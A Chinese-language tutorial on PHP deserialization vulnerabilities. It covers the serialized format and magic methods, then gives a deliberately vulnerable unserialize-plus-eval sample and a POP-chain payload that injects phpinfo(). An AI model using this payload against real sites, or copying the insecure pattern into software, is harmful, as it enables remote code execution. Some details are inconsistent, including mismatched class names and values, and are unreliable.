php反序列化
一、php反序列化
1.序列号与反序列化
(1)serialize() 返回字符串,此字符串包含了表示 value
的字节流,可以存储于任何地方。这有利于存储或传递 PHP 的值,同时不丢失其类型和结构。
(2)想要将已序列化的字符串变回 PHP 的值,可使用 unseralize()。serialize() 可处理除了 resource 之外的任何类型。甚至可以 serialize() 那些包含了指向其自身引用的数组。你正 serialize() 的数组/对象中的引用也将被存储。
erialize(mixed $value): string
简单来说,序列化就是将对象转化为字符串
(3)unserialize() 对单一的已序列化的变量进行操作,将其转换回 PHP 的值。
<?php
//序列化&反序列化
class demotest{
public $name='delevin';
public $sex='man';
public $age='18';
}
$example=new demotest();
$s=serialize($example);//序列化
$u=unserialize($s);//反序列化
echo $s.'<br>';
var_dump($u);
echo '<br>';
结果如下:
php对象需要表达的内容较多,如类属性值得类型、值等,所以会存在一个基本格式,下面是php序列化后的基本类型表达:
- 布尔值(bool):b:value => b:0
- 整数值(int):i:value => i:1
- 字符串型(str):s:length:”value”; => s:4:”aaaa”
- 数组型(array):a:<length>:{key,value pairs}; => a:1:{i:1;s:1:”a”}
- 对象型(object):O:<class_name_length>
- NULL型:N
最终序列化数据的数据格式如下:
<class_name>:<number_of_properties>:{properties}
上图可以这样理解,O表示这是一个对象,8表示对象名的长度,demotest则是序列化的对象名称,3表示对象中存在三个属性。第一个属性(name):s表示是字符串,4表示属性名长度,name表示属性名,s是属性值的类型为字符型,7表示属性值得长度,delevin为属性值;第二个属性同样为字符串。第三个属性(age):i表示是整形,它的值为整数型29。
二、反序列化漏洞
PHP中存在魔术方法,即PHP自己调用,但是存在调用条件。比如,_construct是当对象被创建时会被自动调用,如果魔术方法还存在一些恶意代码,即可完成攻击。
常见的魔术方法触发方式如下:
- __construct(): //构造函数,当对象new的时候会自动调用
- __destruct()://析构函数当对象被销毁时会被自动调用
- __wakeup(): //unserialize()时会被自动调用
- __invoke(): //当尝试以调用函数的方法调用一个对象时,会被自动调用
- __call(): //在对象上下文中调用不可访问的方法时触发
- __callStatci(): //在静态上下文中调用不可访问的方法时触发
- __get(): //用于从不可访问的属性读取数据
- __set(): //用于将数据写入不可访问的属性
- __isset(): //在不可访问的属性上调用isset()或empty()触发
- __unset(): //在不可访问的属性上使用unset()时触发
- __toString(): //把类当作字符串使用时触发
- __sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用
<?php class test { function __construct(){ $this->ClassObj = new normal(); } function __destruct(){ $this->ClassObj->action(); } } class normal { function action(){ echo "hello"; } } class evil{ private $data; function action(){ eval($this->data); } } unserialize($_GET['d']) ?>
以上代码存在normal正常类和evil恶意类,test正常调用是创建了一个normal实例,在destruct中还调用了normal实例的action方法,如果将$this->ClassObj替换为evil类,当调用action方法时会evil的action方法,从而eval($this->data)中,导致任意代码执行。
接下来构造POP链,可以在__construct中将Classobj换为evil类,将evil类的私有属性data赋值为phpinfo(),使用urlencode避免”%00″的缺失。
<?php class lemon{ protected $ClassObj; function __construct(){ $this->ClassObj = new evil(); } } class evil{ private $data = "phpinfo();"; } echo serialize(new lemon()); echo '<br>'; echo urlencode(serialize(new lemon())); ?>
得到一串字符,此字符串为POP链:
O:5:"lemon":1:{s:11:"*ClassObj";O:4:"evil":1:{s:10:"evildata";s:10:"phpinfo();";}}